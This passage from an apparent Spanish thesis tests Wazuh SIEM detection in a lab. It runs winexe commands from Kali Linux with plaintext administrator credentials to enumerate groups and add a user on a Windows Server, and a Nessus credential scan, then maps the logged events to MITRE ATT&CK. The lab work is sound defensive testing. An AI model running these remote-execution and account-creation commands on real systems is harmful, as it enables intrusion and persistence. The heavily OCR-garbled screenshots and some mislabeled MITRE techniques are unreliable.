verificar que los agentes desplegados, las reglas de correlacion y las alertas funcionen
adecuadamente ante eventos maliciosos. La simulacidn incluye técnicas cominmente utilizadas
por atacantes, como intentos de acceso no autorizado, ejecucion de comandos sospechosos,
escalamiento de privilegios y alteracion de servicios del sistema. Estas acciones permiten
observar en tiempo real como Wazuh detecta y responde ante comportamientos anomalos,
brindando asi un entorno ideal para fortalecer la postura de seguridad del sistema monitoreado.
3.6.1.1. Ataque Enumeracion de Grupos Locales Windows. Para la simulacion de dicho
ataque se describe a continuacion los datos tanto de la maquina atacante como la maquina que
recibird el ataque para la recoleccion de logs.
Tabla 7

Datos de la maquina atacante y la maquina objetivo.

IP Origen Hostname Sistema Operativo
Maquina Atacante 172.16.16.107 - Kali Linux
Maquina Objetivo 172.16.16.24 MV-Win-Srv-19  Windows Server 2019

Para la ejecucion del ataque se hizo uso del comando winexe -U
'Administrator%Jacky22**' //172.16.16.24 "net localgroup" ejecutado desde Kali Linux permite

acceder remotamente a un sistema Windows para listar sus grupos locales; este tipo de actividad
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puede ser utilizada en pruebas de deteccion con Wazuh, ya que genera eventos de autenticacion y
ejecucion remota que pueden ser monitoreados como posibles acciones administrativas o
indicios de acceso no autorizado.

El resultado del comando muestra la lista de grupos locales existentes en el sistema
Windows remoto identificado como \WWM-WIN-SRV-19. Entre los grupos se incluyen roles
administrativos y operativos como Administrators, Backup Operators, Event Log Readers,
Remote Desktop Users y Hyper-V Administrators, lo que permite conocer los tipos de privilegios
y accesos configurados en el equipo para evaluar posibles vectores de ataque o verificar
configuraciones durante pruebas de seguridad. Como se indica en la imagen
Figura 31

Ejecucion de ataque Enumeracion de Grupos Locales Windows

Ele Edit View VM Tabs Help =)

Clone of Kali Linux NW

B om0 2 3 - : ;) A O 1930
File Actions Edit View Help

-U "Adminis A a' /f . et

-U 'Administr
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Figura 32

Ejecucion de ataque Enumeracion de Grupos Locales Windows

Edit  View Tabs Help

] Kali Linux NW. File Actions Edit View Help

*Cryptographic Operators
*Device Owners
*Distributed COM Users
*Event Log R s

*Hype
*IIS_IUSR

mance Log User 1
*Pouwer Users

*Print Ope:

*RDS Endpoint

*RDS Ma

*RDS Remote A Servers

*Remote Desktop Users

*Remote M: ement Users

Figura 33

Deteccion de logs en el SIEM Wazuh

‘W. SCOVEr New Open Reporting Inspect a
fimestamp per 5 min
Time data.win.systen.eventId agent.ip data.win. eventdata. ipAddress rule.mitre.id rule.sitre.tactic rule.mitre, technique rule.description data.win.eventdata. imagePath
4624 - Defense 1id Accounts Logon Success
> n P
n, ini
N 4634 172 - - - - User Logaff
N 4634 - - - - User Logaff
3 7845 - T Mew Windows Sarvice Creat winexesve.exe
ed
4624 2ss the Hash, Domain Accoun
H ts, Remote Degktop Protocal
N 4672 2 - Modificarion
2025 4624 the Hazh, Domain Accoun Remote Logon D
? e ts, Remote Desktop Protocal er -\Administr
y that KALD
d to perform R
ns
- T1484
>
153 Impact 4 Logon Failure - Unknown u
b cer or bad password
N - - - -
19, 2025 4625 Logon Failure - Unknown u
; SN cer or bad word
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Una vez realizado el ataque se valida los siguientes casos de uso detectados:

e Event ID 4625: Account Access Removal: El evento con ID 4625 registrado en el
agente MV-Win-Srv-19 (IP: 172.16.16.24) indica un intento fallido de inicio de
sesion desde la maquina atacante KALIZ (IP: 172.16.16.107), mediante el protocolo
NTLM con el usuario Administrador, utilizando el comando: winexe -U
'Administrador%TuContrasefia' //172.16.16.24 "net localgroup". Este evento fue
generado por un intento de ejecucion remota desde Kali Linux utilizando credenciales
invalidas, lo que produjo un fallo de autenticacion (subStatus: 0xc0000064, usuario
desconocido o contrasefia incorrecta). Fue detectado por Wazuh con una alerta de
nivel 5, clasificada en los grupos de reglas windows_security y authentication_failed,
y asociada a la técnica MITRE T1531 - Account Access Removal bajo la tactica
Impact.

Figura 34

Deteccion de Event ID 4625 en el SIEM Wazuh

o Apr 19, 2825 4625 T1531 Impact Account Access Removal -
19:26:14.975

[ Expanded document View surrounding documents View single document

Table JSON

L am B _index wazuh-alerts-4.x-2825.84.28

agent.id 882

agent. ip 172.16.16.24

agent.name KV-Win-Srv-19

data.win.eventdata.authenticationPackageName NTLM

data.win.eventdata. failureReason %%2313

data.win.eventdata.ipAddress 172.16.16.167

data.win.eventdata.ipPort 58986

data.win.eventdata.keyLength ]
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Figura 35

Deteccion de Event ID 4625 en el SIEM Wazuh

Bx

o

5-1-8-2

WORKGROUP

Bxconesnsd

BxcBBBanss

Adminietr

KALTZ

ador

Event ID 4624: Valid Accounts: El evento detectado corresponde a un inicio de

sesion exitoso (ID 4624) en el servidor "MV-Win-Srv-19" desde la IP 172.16.16.107

(equipo "KALIZ"), utilizando la cuenta local privilegiada "Administrator" (SID S-1-

5-21-3268614021-106827012-181184077-500) mediante autenticacion NTLM V2 'y

proceso de inicio de sesion "NtLmSsp", con tipo de inicio de sesion 3 (red), lo que

indica un acceso remoto, posiblemente por RDP; este comportamiento coincide con

las técnicas T1078 (Valid Accounts), T1021.001 (Remote Services: Remote Desktop

Protocol) y T1550.002 (Use Alternate Authentication Material: Pass the Hash) del

marco MITRE ATT&CK, lo cual sugiere un posible movimiento lateral utilizando

credenciales validas y técnicas de autenticacion alternativas, por lo que se recomienda

investigar si el equipo KALIZ esta autorizado para realizar estas conexiones y

verificar la legitimidad de este acceso.
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Figura 36

Deteccion del Event ID 4624 en la SIEM Wazuh

2825 4624
5.343

£5 Expanded document

Table JSON
¢ _index wazuh-alerts-4_x-2025.84 28
t agent.id 62
¢ agent.ip 172.16.16.24
t agent name WV-in-Srv-19

event

eventdat

eventdat

dat,

& suthenticationPackag

a.e: edToken

a.inpersonationLevel

NTLH

B2

w1633

in

event

event

eventdat

da

dat,

eventdat

5. ipAddrass

ta_ipPort

& keyLength

2. InPackageName

172.16.16.187

48842

128

NTLH v2

Figura 37

Deteccion del Event ID 4624 en la SIEM Wazuh

event

dat,

& logonGuid

{20900000-0000-0000-2000-2000ERERREE }

= W. Discover
t data win eventdats logonType 3
¢ data.win.eventdata.processld 0x8
¢ data.win.eventdata. 00
t datawin eventdata 5-1-8-8
t data win eventdate_targetDonainName HV-WIN-SRV-19
¢ data.win.eventdsts.targetlinkedlogonld 0x8
t data.win eventdats.targetlegonid x2dccfs
¢ data win eventdate targetUserName Adwinistrator
t data win eventdate_ targetUserSid §-1-5-21-3268614021-106627012-161184077- 500
¢ data.win eventdats.virtusldccount w143
t data.win eventdats.workstationName KALTZ
¢ data win system_channel Security
t data win system_computer W¥-Win-Srv-19
¢ data.win ventID 4524
t data.win ventRecordID 978
t data win system keywords 0x382009329969806
t data win system level ]
[ ]

Pass_the Hash

Domain Accoun S

ts, Remote Desktop Protocal

New

Sava

that
o perform &
s

W surrounding documents (2

Open  Share  Reporting

View single documel

Inspect | [ a

Event ID 7045: Windows Service: El evento con ID 7045 registrado en Wazuh

corresponde a la ejecucion del comando winexe -U 'Administrator%Jacky22**'
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Figura 38

//172.16.16.24 "net localgroup", ejecutado desde el sistema Kali Linux con IP
172.16.16.102 (origen) y accediendo al equipo Windows denominado MV-Win-Srv-
19. Este evento indica que se instaldé un nuevo servicio en el sistema, denominado
winexesvc, bajo el tipo de servicio "user mode service", con cuenta LocalSystem y
tipo de inicio "demand start". La actividad es relevante para las pruebas de deteccion,
ya que puede indicar un acceso no autorizado o una explotacion para ganar
persistencia o elevar privilegios. La técnica MITRE T1543.003, relacionada con la
creacion de servicios en Windows, estd implicada en este evento, junto con otras
TTPs asociadas como T1071 (comandos a través de protocolos de red), T1075
(herramientas administrativas remotas como winexe) y T1076 (exfiltracion de datos a
través de canales encriptados), lo que refuerza la importancia de monitorizar la
instalacion y ejecucion remota de servicios para detectar posibles actividades

maliciosas.

Deteccion del Event ID 7045 en la SIEM Wazuh

W. Discover

o fpr 19, 2025

19:27:45 124

7845

Open Share Reporting Inspect | [ a

ge Es Windows Service

= Expanded document

Table JSON

Zindex  wamuna lerts-4.x-2025.64.28

toagent.ig [i:7]

¢ agent.ip 172.16.16.24

H¥-Hin-Srv-19

me LocalSystem

& winexesvo

917

jeme Service Control Nanager

BxEREABERAAAGBOREE
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A continuacion, se presenta una tabla con todos los casos de usos encontrados en base al Framework Mitre al realizar el ataque
Enumeracion de grupos locales en Windows:
Tabla 8

Casos encontrados de acuerdo con el Framework Mitre del ataque enumeracion grupos locales Windows

Time Eve AgentIP Data.win.eventdata.ip MITRE MITRE MITRE Rule Data.win.eventdata.im
nt Address ID Tactic Techniq  Description agePath
ID ue
Apr 19, 462 172.16.1 - T1078  Defense Valid Windows -
2025@ 4 6.24 Evasion, Accounts Logon
19:29:04. Persiste Success
752 nce,
Privileg
e
Escalati
on,
Initial
Access
Apr19, 463 172.16.1 - - - - Windows User -
2025@ 4 6.24 Logoff
19:27:49.
219
Apr 19, 463 172.16.1 - - - - Windows User -
2025@ 4 6.24 Logoff
19:27:47.
718
Apr 19, 704 172.16.1 - T1543.0 Persiste Windows New Windows winexesvc.exe
2025@ 5 6.24 03 nce, Service  Service
19:27:46. Privileg Created

124 e
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Time Eve AgentIP Data.win.eventdata.jp MITRE MITRE MITRE Rule Data.win.eventdata.im
nt Address ID Tactic Techniq  Description agePath
ID ue
Escalati
on
Apr19, 462 172.16.1 172.16.16.107 T1550.0 Defense Passthe  Successful -
2025 @ 4 6.24 02, Evasion, Hash, Remote Logon
19:27:45. T1078.0 Lateral Domain  Detected -
421 02, Movem  Accounts User:\Adminis
T1021.0 ent, , Remote trator - NTLM
01 Persiste  Desktop  authentication,
nce, Protocol  possible pass-
Privileg the-hash
e attack -
Escalati Possible RDP
on, connection.
Initial Verity that
Access KALIZ is
allowed to
perform RDP
connections
Apr 19, 467 172.16.1 - T1484  Defense Domain  Special -
2025@ 2 6.24 Evasion, Policy privileges
19:27:45. Privileg  Modifica assigned to
403 e tion new logon
Escalati
on
Apr 19, 462 172.16.1 172.16.16.107 T1550.0 Defense Passthe  Successful -
2025 @ 4 6.24 02, Evasion, Hash, Remote Logon
19:27:45. T1078.0 Lateral Domain  Detected -
343 02, Movem  Accounts User:\Adminis
T1021.0 ent, , Remote trator - NTLM
01 Persiste authentication,
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Time Eve AgentIP Data.win.eventdata.jp MITRE MITRE MITRE Rule Data.win.eventdata.im
nt Address ID Tactic Techniq  Description agePath
ID ue
nce, Desktop  possible pass-
Privileg  Protocol  the-hash
e attack -
Escalati Possible RDP
on, connection.
Initial Verity that
Access KALIZ is
allowed to
perform RDP
connections
Apr 19, 467 172.16.1 - T1484  Defense Domain  Special -
2025@ 2 6.24 Evasion, Policy privileges
19:27:45. Privileg Modifica assigned to
332 e tion new logon
Escalati
on
Apr 19, 462 172.16.1 172.16.16.107 T1531 Impact  Account Logon Failure -
2025@ 5 6.24 Access - Unknown
19:27:27. Removal user or bad
450 password
Apr 19, 477 172.16.1 - - - - Windows -
2025@ 6 6.24 audit failure
19:27:27. event
375
Apr 19, 462 172.16.1 172.16.16.107 T1531 Impact  Account Logon Failure -
2025@ 5 6.24 Access - Unknown
19:26:14. Removal user or bad
975 password
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3.6.1.2. Ataque Creacion de Usuarios. Para la simulacion de dicho ataque se describe a
continuacion los datos tanto de la maquina atacante como la maquina que recibiré el ataque para
la recoleccion de logs.
Tabla 9

Datos de la maquina atacante y la maquina objetivo.

IP Origen Hostname Sistema Operativo
Maquina Atacante 172.16.16.107 - Kali Linux
Maquina Objetivo 172.16.16.24 MV-Win-Srv-19  Windows Server 2019

El comando winexe -U 'Administrator%]Jacky22*' //172.16.16.24 'net user
grupo3 prueba P@$$word123 /add' ejecutado desde la IP 172.16.16.107 utiliza la herramienta
winexe para autenticar al usuario Administrator con la contrasefia Jacky22* en una méaquina
remota con [P 172.16.16.24, y luego ejecuta el comando net user para agregar un nuevo usuario
llamado grupo3_prueba con la contrasefia P@$$word123 en dicha maquina remota. Esta prueba
estd orientada a evaluar la deteccion de eventos generados por Wazuh, permitiendo verificar su
capacidad para detectar cambios en la configuracion de usuarios en el sistema remoto. El

comando se completa con éxito segin el mensaje de resultado.
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Figura 39

Ejecucion del ataque creacion de usuarios

Clone of Kali Linux NW

S emP ot
File Actions Edit View Help

agement Users

word does not meet assword pol reguirements. Ch the minimum password length, password compl nd password histo

ing NET HELPMSG

house pointer inside or pre:

Figura 40

Deteccion de logs en el SIEM Wazuh

= W Discaver New Save Open Share Reporting Inspect | [(a

DOL  [E v  Apri9,2025@ 20:30:00.00 + Apr18, 2025 @ 20:40:00.00

& | manager.name: wazuh-server x | (D Add filter

24 hits ]

Apr 18, 2025 @ 20:30:00.000 - Apr 18, 2025 @ 20-40:00.000 per  Auto hd

Caunt

mp per 10 seconds

Tine data.win.systen. eventId agent.ip data.win.eventdata. ipAddress rule.mitre.id rule.mitre. tactic rule.mitre, technique rule.description data.win.eventdata. targetUserNane
N 4634 172.16.16.24 - - Windows User Logoff Administrator
N 4732 172.16.16.24 - TidBd domain Policy Modification Users Group Changed Users

72.16.16.24 - Ti808 Persistence Account Manipulation User account changed grupo3_prueba
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Figura 41

Deteccion de logs en el SIEM Wazuh

Una vez realizado el ataque se valida los siguientes casos de uso detectados:

Event ID 4624: Valid Accounts: El evento 4624, registrado en el canal de seguridad
del sistema, indica un inicio de sesidn exitoso a través de la red en el servidor "MV-
Win-Srv-19" con el usuario "Administrator" desde la estacion de trabajo "KALIZ"
(IP: 172.16.16.107, puerto: 43656). El logon se realiz6 utilizando NTLM V2, con un
nivel de impersonacion "Impersonation" y un token elevado, mediante el proceso
"NtLmSsp" (logon tipo 3). Este evento sugiere la posibilidad de un ataque de "Pass-
the-Hash" y una posible conexién RDP, lo que implica que "KALIZ" podria no estar
autorizado para realizar conexiones RDP. Las técnicas asociadas son T1550.002 (Pass
the Hash), T1078.002 (Domain Accounts) y T1021.001 (Remote Desktop Protocol),
relacionadas con las tacticas de Evasion de Defensa, Movimiento Lateral,

Persistencia, Escalamiento de Privilegios y Acceso Inicial.
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Figura 42

Deteccion del Event ID 4624 en la SIEM Wazuh

= W Discover

MNew Save Open Share Reporting Inspect | [(a @
o o fere 202 s 172.16.16.24 172.16.16.187 193,202, TI078.00 Derens Pass e tan, Donei Administrator
20:38:19.742 r 1
cti
ALIZ 15
form RDP cann
[ Expanded document
Table JSOM
 _index Wezun-alerts-4.x-2025.04.28
¢ agent.id o6z
¢ sgent.ip 172.16.16.24
t agent.name WY-Win-Srv-19
¢ data win.eventdata authenticationPsckageNane NTLM
¢ ventdata.elevatedToken wisg
t ventdata. impersanationlevel RREC
¢ eventdata.iphddress 172.16.16.187
¢ da ventdata.ipPort 43656
t eventdata keylength 28
t eventdata. lnPackageName NTLM ¥2
' ventdata logonGuid {BBERARRE-0BA0-BERG-BEE0-BBBORAREARER )
¢ eventdsta. logonProcesshame NelmSep
. logonType 3

Figura 43

Deteccion del Event ID 4624 en la SIEM Wazuh

Il
2

Discover New Save Open Shara Reporting Inspect |[a

ntdata. targetlonainnane

i

tdsta_targetlinkedLogonTd el

t BxdcdBeb
| ' =ntdsts. targetUserhame Adminiztratar |
t tdsta.targetUserSid $-1-5-21-3268614821-186827812-181184877-588
' tdata.virtealaccount w1843
| t tdata.workstationName KALTZ |
' =1 Security
' system_computer WV-Hin-Srv-19
' tID 4624
' ventRecardID 1673
v .system.keywords 9x2020000080090088
' em_level [}
i em_message , "An account wes successfully logged on
Subject

Security I 5-1-0-9
Account Name: -
Account Domain: -

noan - avn

e Event ID 4728 Domain Users Group Changed: Este evento de Windows (ID 4728)

muestra que el usuario "Administrator" en el servidor "MV-Win-Srv-19" realiz6 una
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modificacion en un grupo global de seguridad, anadiendo un miembro (SID: S-1-5-
21-3268614021-106827012-181184077-1001) al grupo de dominio "MV-WIN-SRV-
19". La accidn fue realizada con privilegios de "Administrator" (SID: S-1-5-21-
3268614021-106827012-181184077-500), y no se especifico el nombre de la cuenta
del miembro afiadido. Este evento podria indicar una posible escalada de privilegios o
un intento de evadir defensas del sistema, con técnicas asociadas como T1484
(Domain Policy Modification), y tacticas de Evasion de Defensa y Escalamiento de
Privilegios. El cambio de grupo de usuarios podria ser una tactica para alterar
configuraciones de seguridad en el sistema.

Figura 44

Deteccion del Event ID 4728 en la SIEM Wazuh

= W Discover Mew Save Open Shara  Reporting  Inspect
=, 5 Expanded document

Table JSON

wazuh-alerts-4.x-2025.84.20

172.16.16.24

HY-Hin-Srv-19

§-1-5-21-3268614021-196827812-161164877-1001

mainHame MV-WIN-SRV-19

Bxdcagon

Administrator

§-1-5-21-3268614021-196827212-181184877-500

nName  MV-WIN-SRV-19

§-1-5-21-3268614021-196827812- 181184877513
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Figura 45

Deteccion del Event ID 4728 en la SIEM Wazuh

I
=

Discover New Save Open Share  Reporting Inspect | [a

1

¢ dsta.win.system keywords 2x8020000000000020

t dats.win.system level a

7912-181124077-508

{54840625-5478-4304-a5ha-3e368328:304)

Microsoft-Windows-Security-Auditing

AUDIT_SUCCESS

2025-84-26T01:38:50. 4865744667

13826

5823

t decoder_name windows_eventchanne: 1

1745113148.311002

e Event ID 4720 User account enabled or created: Este evento (ID 4720) indica que
el usuario "Administrator" en el equipo "MV-Win-Srv-19" cre6 una nueva cuenta
llamada "grupo3_prueba" con el SID "S-1-5-21-3268614021-106827012-181184077-
1001". La cuenta presenta caracteristicas potencialmente sospechosas como estar
habilitada con las banderas 'Password Not Required' y "Normal Account', lo que
podria facilitar su uso para mantener acceso persistente en el sistema. Este tipo de
actividad esta relacionado con la técnica T1098 (Account Manipulation) del
framework MITRE ATT&CK, asociada a la tactica de Persistencia, ya que la creacion
de cuentas puede usarse para mantener acceso a largo plazo o eludir controles de

seguridad.
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Figura 46

Deteccion del Event ID 4720 en la SIEM Wazuh

Discover

1l
=

i

¢ dats.win.eventdata. targetDonainNane

MY-WIN-SRV-19

dat ata.targetSid §-1-5-21-3268614821-186827812-181184877-1881
dat: grups3_prusba
dat %2888 %2882 %12884
dat: 1793
dat: s 79
t data.win.zystem.channel Security

t data.win.system.computer

¢ dats.win.systen keywords

t data.win.system level

MY-Win-Srv-19

t dats.win.systen processID

662

{54849625-5476-4994-5302-3e300328c30d}

sh

are

Reporting

Inspect

e Event ID 4722: User account enabled or created: El evento 4722 ocurrido en el

sistema MV-Win-Srv-19 (IP: 172.16.16.24) indica que el usuario "Administrator"

habilité la cuenta "grupo3 prueba" (SID: S-1-5-21-...-1002) utilizando el Logon ID

0x4c8abb, a través del canal de auditoria de seguridad EventChannel. Esta accion fue
detectada por Wazuh y clasificada bajo la técnica T1098 — Account Manipulation del
framework MITRE ATT&CK, asociada a la tactica de Persistence, lo que podria

indicar una maniobra para preparar una cuenta previamente deshabilitada como vector

de acceso persistente dentro del sistema.

a
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Figura 47

Deteccion del Event ID 4722 en la SIEM Wazuh

m

Discover

New Save Open Share  Reporting Inspect | [ a

omainName MV-WIN-SRV-10

BxdcBabh

e Administ trator

$-1-5-21-3268614621-196827812-181184677-508

data.win eventdata.targetDonainName  NV-WIN-SRV-19
data. ventdata. targetSid 5-1-5-21-3268614021-196827012-181164677-1802
¢ dats.win.eventdats.targetUserName  grupod_prusba I
data Security
data. WY Win-Srv-10
data 4722
data 1008
dat: ©x3020000002000000
data [
data.win.system.message 4 us: t w inled
bject
Security 1D §-1-5-21-3268614821-186827812-181184877-508
Account Mame Administrator
Account Domain HY-WIN-SRY-19
L I fuiCaans

Event ID 4729: Domain Users Group Changed: El evento 4729 registrado en el
activo MV-Win-Srv-19 (IP: 172.16.16.24), detectado por el agente Wazuh, muestra
que el usuario "Administrator" elimind al usuario identificado con el SID S-1-5-21-...-
1001 (relacionado con la cuenta previamente creada grupo3 prueba) del grupo global
de seguridad con SID S-1-5-21-...-513, correspondiente a "Domain Users", utilizando
el canal Security EventChannel. Esta accion estd asociada con la técnica T1484 —
Domain Policy Modification, dentro de las tacticas de Defense Evasion y Privilege
Escalation del framework MITRE ATT&CK, lo cual puede indicar un intento de
reducir la visibilidad de la nueva cuenta o evitar que herede politicas comunes del

dominio.
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Figura 48

Deteccion del Event ID 4729 en la SIEM Wazuh

= W Discover New Save Open Share Reporting Inspect | [ a

t data.win eventdata.subjectlserNane  Adwinistrator
5-1-5-21-3268614021-106827212-181184877-500
e MV-WIN-SAV-19

5-1-5-21-3268614021-186827612-161184877-513

Bx38200080080080098

[

A memzer was removed from a security-enazled global group

Subject
8614621-186827812-181184677-568

-
g

{548409625-5473- 4994 -a5ba-3e308328c38d )

Microsoft-Windows-Security-Auditing

e Event ID 4726: User account disabled or deleted:El evento 4726 registrado en el
sistema MV-Win-Srv-19 (IP: 172.16.16.24) muestra que el usuario "Administrator"
ejecuto la eliminacién de la cuenta "grupo3 prueba" (SID: S-1-5-21-...-1001)
mediante el canal de seguridad Security EventChannel, utilizando el logon ID
0x4c400b. Esta accion corresponde a las técnicas T1098 — Account Manipulation y
T1531 — Account Access Removal del framework MITRE ATT&CK, asociadas a las
tacticas de Persistence e Impact, lo que puede indicar un intento de borrar rastros de
actividad maliciosa previa o impedir el acceso posterior mediante la eliminacion del

usuario temporalmente creado.
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Figura 49

Deteccion del Event ID 4726 en la SIEM Wazuh

Framework Mitre al realizar el ataque Ataque creacion de usuarios:

Discover
dat V-WIN-SRV-19
data win eventdata targetSid §-1-5-21-3268614821-186827812-181184877-1881
data.win.eventdata.targetUserName  grupod_prusba I
channel Security

A continuacion, se presenta una tabla con todos los casos de usos encontrados en base al

data.win.system computer WV-Win-Srv-19

data.win 4726

data.win 1879

data.win.system keywords B8x38280868000000888

data.win.system level a

data.win.system message , "A user account was deleted

Subject:

Security 10: §-1-5-21-326861421-106827812-181184077-500
Account Mame Administratar
Account Domain MV-WIN-SRY-19
| anan T avaranan

TIVETTTIyTTET I T

data_win_system processID 68

data.win tem. providerGuid {54340625-5478-4904-25ba-323b0328c30d}

data_win_system providerName Microsoft-Windows-Security-Auditing

data_win.system severityValue AUDIT_SUCCESS

data_win.system systemTine 2025-04-20781:39:01.3872790007

Sharn

&

Reporting

Inspect

a
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Tabla 10
Casos encontrados de acuerdo al framework Mitre del ataque Creacion de usuarios
Timestamp Event Tacticas Técnicas Descripcion Cuenta de Cuenta Direccion IP
ID MITRE MITRE Usuario Objetivo
ATT&CK ATT&CK
Apr 19,2025 4738  Persistence Account Uncambioenla  Administrator grupo3 prueba -
@ Manipulation cuenta de usuario
20:39:37.268
Apr 19,2025 4722  Persistence Account Habilitacion de la ~ Administrator grupo3 prueba -
@ Manipulation cuenta de usuario
20:39:37.252
Apr 19,2025 4720  Persistence Account Creacion de Administrator  grupo3 prueba -
@ Manipulation cuenta de usuario
20:39:37.228
Apr 19,2025 4624  Defense Pass the Hash, Inicio de sesion Administrator - 172.16.16.107
@ Evasion, Lateral Domain mediante Pass the
20:39:29.442 Movement, Accounts, Hash
Persistence, Remote Desktop
Privilege Protocol
Escalation,
Initial Access
Apr 19,2025 4624  Defense Valid Accounts  Inicio de sesion MV-WIN- SYSTEM -
@ Evasion, con cuentas SRV-19%
20:39:20.549 Persistence, validas
Privilege
Escalation,
Initial Access
Apr 19,2025 4634 - - Cierre de sesion Administrator - -
@

20:39:03.383
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Timestamp Event Tacticas Técnicas Descripcion Cuenta de Cuenta Direccion IP
ID MITRE MITRE Usuario Objetivo
ATT&CK ATT&CK
Apr 19,2025 4726  Persistence, Account Eliminacion de Administrator grupo3 prueba -
@ Impact Manipulation, cuenta de usuario
20:39:02.363 Account Access
Removal

Apr 19,2025 4724 - - Restablecimiento ~ Administrator - -
@ de contrasena
20:39:02.346
Apr 19,2025 4720  Persistence Account Creacion de Administrator grupo3 prueba -
@ Manipulation cuenta de usuario
20:39:02.226
Apr 19,2025 4624  Defense Pass the Hash, Inicio de sesion Administrator - 172.16.16.107
@ Evasion, Lateral Domain mediante Pass the
20:38:19.742 Movement, Accounts, Hash

Persistence, Remote Desktop

Privilege Protocol

Escalation,

Initial Access
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3.1.6.3. Ataque Escaneo de Deteccion de Credenciales Vilidas Nessus. Para la
simulacion de dicho ataque se describe a continuacion los datos tanto de la maquina atacante
como la maquina que recibira el ataque para la recoleccion de logs.
Tabla 11

Datos de la maquina atacante y la maquina objetivo.

IP Origen Hostname Sistema Operativo
Maquina Atacante 172.16.16.102 LAPTOP- Windows
OOP7VGRI
Maquina Objetivo 172.16.16.24 MV-Win-Srv-19  Windows Server 2019

En esta seccion se describe la simulacion de un ataque realizado con la herramienta
Nessus, enfocandose especificamente en la deteccion de credenciales validas dentro de un
entorno Windows Server 2019. Este tipo de escaneo representa una técnica comun utilizada por
atacantes para identificar accesos validos en los sistemas, lo que les permitiria moverse
lateralmente o escalar privilegios. La prueba se llevo a cabo desde una maquina atacante con
sistema operativo Windows hacia una maquina objetivo con Windows Server 2019, permitiendo
evaluar la capacidad de deteccion y respuesta de la plataforma Wazuh ante este tipo de actividad

sospechosa.
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Figura 50

Informacion de red de la maquina atacante

s Essential:
https//localhost
Simbolo del sistema x

Sufijo DNS especifico para la conexién.

| Adaptador de Ethernet Ethernet:

Sufijo DNS especifico para la conexidn.
Direccion IPvl. 50000
Miscara de subred . 566 0

Puerta de enlace predeterminada

Adaptador de Ethernet VMware Network Adapter VM
Sufijo DNS especifico para la cone
Direccién IPvi.

Mascara de subred . 5 0 o0
Puerta de enlace predeterminada

Adaptador de Ethernet VMware Network Adapter VM

Sufijo DNS especifico para la conexidn.
Direccion IPvM. . . . . . . . . .
Mascara de subred . NP

Puerta de enlace predeterminada

[enabieNews Adaptador de LAN inalambrica Wi-Fi:

Frequently Asked
‘Questions About the
MITRE CVE Pro...

Estado de los medios. 50060 o0
Sufijo DNS especifico para la conexidn.

C:\Users\liche>
Figura 51

Ejecucion de ataque desde Nessus

sentials Scans Settings

7 History 1
1H

Start Time ~ Last Scanned

Current | Today at 11:13 AM Today at 11:19 AM

Tenable News

CVE-2025-32433:
Erlang/OTP SSH
Unauthenticated
Rem...

172.16.16.102

: 255.255.255.0
: 172.16.16.1

netl:

172.17.17.1
255.255.255.0

net8:

192.168.174.1
255.255.255.0

: medios desconectados

Configure

Status

« Completed

e a

acumbajin

Audit Trail Report Export ~

Scan Details

Policy: Credential Validation

Status: Completed

Severity Base: CVS5v3.0 #

Scanner: Local Scanner
Start: Today at 11:13 AM
End: Today at 11:19 AM

Elapsed: 5 minutes

Vulnerabilities

Critical
High
® Medium
® low
Info
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Figura 52

Visualizacion de vulnerabilidades encontradas en Nessus

Configure Report Export ¥

FB_WINDOWS-19

<

CVsS - VPR - EPSS ~ ... Family . Scan Details

Windows 7 Policy: Credential Validation
Status: Completed
Settings ; Severity Base: CVS5v3.0

Scanner: Local Scanner
Settings ; Start: Today at 11:13 AM

End: Today at 11:19 AM
Settings Elapsed: 5 minutes

Settings Vulnerabilities

Setiings Critical
High
windows Medium

Low
Info

Figura 53

Visualizacion de logs de los eventos detectados en el SIEM Wazuh

= W. Discover Mew Share  Reporting  Inspect | (a
| Apr 20, 2025 @ 11:00:00.000 - Apr 20, 2025 @ 11:20:00.000 per  Auto v
=
8
-
fimestamp per 20 seconds
Tine data.win.zysten.eventID sgent.ip data.win.eventdata. iphddrsss rule.mitre.id rule.mitre.tactic rule.mitre. tachnique rule.description data.win.eventdata. targetlseriane
y hpr 20, 2025 4834 172.16.16.24 - - - Windows User Logoff ANONYNOUS LOGON
172.16.16.24 172.16.16.162 Tie21 a2 Lateral Movement SNB/Windows Adain Shares A_network share mas sco -
esse
172.16.16.24 172.16.16.102 T1550.002, T1678.002 Pass the Hash, Domein Accou te Logan  ANONYHOUS LOSON
nts - LANDRYH
H_authen
le pass
x
172.16.16.24 - - - - Windows User Logoff admin_prusba
172.16.16.24 172.16.16.162 Tia21 ez Lateral Hovement SHB/Windows Adain Shares 4 network share mas sco -
esse
172.16.16.24 172.16.16.182 Defense Evasion, Pass the Hash, Domain Accou te Logon  admin_prusba
reict nts, Remote Désktop Protoc admin_
ta 1
5 fpr 28, 2025 s63 172.16.16.24 - - - Windows User Logaff admin_prueba
172.16.16.24 172.16.76.102 - - - Windows augit failure & -
vent
172.16.16.24 172.16.16.162 Tia21 a2 Lateral Movement SHA/Windows Admin Shares A network share mas acc -
e3se
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Figura 54

Visualizacion de logs de los eventos detectados en el SIEM Wazuh

= w. Discover Mew Save Open Share Reporting Inspect | | a
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& esse
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Apr 20, 2625 5148 172.16.16.24 172.16.16.182 - - - Windows sudit failure e -
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6 esse
11:13:58 768
spr 20, 2025 4624 172.16.16.24 172.16.16.182 T1550.062, T1678.80  Defense Evesion, Latersl FPass the Hash, Domain Accou Successful Remote Logon  admin_prusba
> g 2, T1621.be1 jovement, Persistence, P nts, Remote Desktop Protoce Detected - User:\admin_
11:13:58.737 rivilege Escalation, fni 1 eba - NTLH aiithentiz
tial Access on, possible pass-
e-hash attack - Possibl
e RDP_cannection. Verif
y thar LAPTOP-0GP7VGRT
iz sllowed to perform R
DF connections
) fpr 28, 2025 4631 172.16.16.24 - - - - Windows User Logoff adnin_prueba
&
11:13:58.784
) 2pr 28, 2025 5148 172.16.16.24 172.16.16.182 Tie21 882 Lateral Hovement SHB/Windows Admin Shares A_network share mes sco -
6 esse
11:13:58.681
Apr 20, 2025 4624 172.16.76.24 172.16.16.182 T1550.082, T1678.88  Defense Evasion, Lateral DPass the Hash, Domain Accou Successful Remote Logon  admin_prusba
b) 2, T1é21_den Wovement, Persistence, P nts, Remote Desktop Protoco Detected - User:\admin_
11:13:58.646 rivilege Escalation, fni 1 eba - NTLH authentis
tial Access on, possible pass-
e-hash attack - Possibl
= RDP connection. Verif
y_thar LAFTOR-0GF7VERT
is sllowed to perform R
0P connections
y der 20, 2025 4532 172.16.16.24 - - - - Windows User Logoff admin_prueba
8
11:13:58.613
) 4pr 28, 2025 5148 172.16.16.24 172.16.16.182 Tie21 882 Lateral Hovement SHB/Windows Admin Shares A_network share mes sco -
